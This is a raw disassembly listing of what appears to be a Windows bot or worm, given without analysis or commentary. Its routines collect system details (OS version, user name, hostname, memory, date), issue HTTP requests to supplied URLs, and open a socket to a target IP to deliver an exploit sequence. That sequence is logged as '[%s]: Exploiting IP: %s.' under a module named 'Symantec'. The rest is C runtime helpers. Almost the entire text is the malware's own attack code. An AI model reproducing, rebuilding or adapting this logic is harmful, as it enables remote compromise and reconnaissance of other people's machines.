var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB98
mov [ebp+var_CC], 94h
call dword_4270D0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset dword_431628
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset dword_431624
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset dword_431620
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset dword_43161C
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset dword_431618
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset dword_431614
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset dword_43160C
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_436BBC
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383B4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8C4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA24 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB99C ; gethostbyaddr
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43AC80
push ebx
mov esi, 409h
push ebx
push esi
call dword_427110 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_42710C ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_42719C ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43ABA4
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBACC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB8A8 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset dword_43ACF8
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset dword_43ACF0
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACEC
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE8
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43ACA4
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD8
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8E0 ; InternetCrackUrlA
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB994
call dword_4CB9B8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB9AC ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB958 ; HttpSendRequestA
test eax, eax
jz short loc_41B495
push offset dword_43ADBC
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD80
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD64
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD38
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD08
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA18 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CBA18 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCDC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_2 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: .packed:0041B843p
; .packed:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDE4
lea edi, [ebp+var_C]
mov ax, word_43ADDC
movsd
movsb
mov esi, offset dword_4DBDDC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346E4
movsd
mov [ebp+var_6], ax
mov ax, word_4CB89C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA34 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA34 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA34 ; send
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA34 ; send
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA34 ; send
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA34 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA34 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA34 ; send
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA34 ; send
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA34 ; send
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43ADF4
lea edi, [ebp-38h]
mov ax, word_4346E4
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADF0
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDE4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADEC
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA7C ; closesocket
loc_41B724: ; CODE XREF: .packed:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA24 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9E4 ; htons
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: .packed:0041B7CEj
; .packed:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9FC ; recv
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: .packed:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA34 ; send
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: .packed:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA34 ; send
push 1
pop edi
loc_41B800: ; CODE XREF: .packed:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: .packed:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: .packed:0041B756j
; .packed:0041B7B2j ...
push ebx
call dword_4CBA7C ; closesocket
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: .packed:0041B781j
; .packed:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA34 ; send
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCDC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: .packed:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCDC[eax]
push eax
push offset dword_43ADE0
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: .packed:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi ; Sleep
push 2
pop edi
loc_41B8E7: ; CODE XREF: .packed:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi ; Sleep
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi ; Sleep
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: .packed:0041B950j
push 258h
call esi ; Sleep
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA7C ; closesocket
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431808[eax]
push 1
lea eax, dword_431808[eax]
pop eax
loc_41B9B7: ; CODE XREF: .packed:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; sub_401221+14Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41BA50
or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD3A8
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD3A4
call dword_42714C ; RtlFreeHeap
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; sub_40FA3C+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
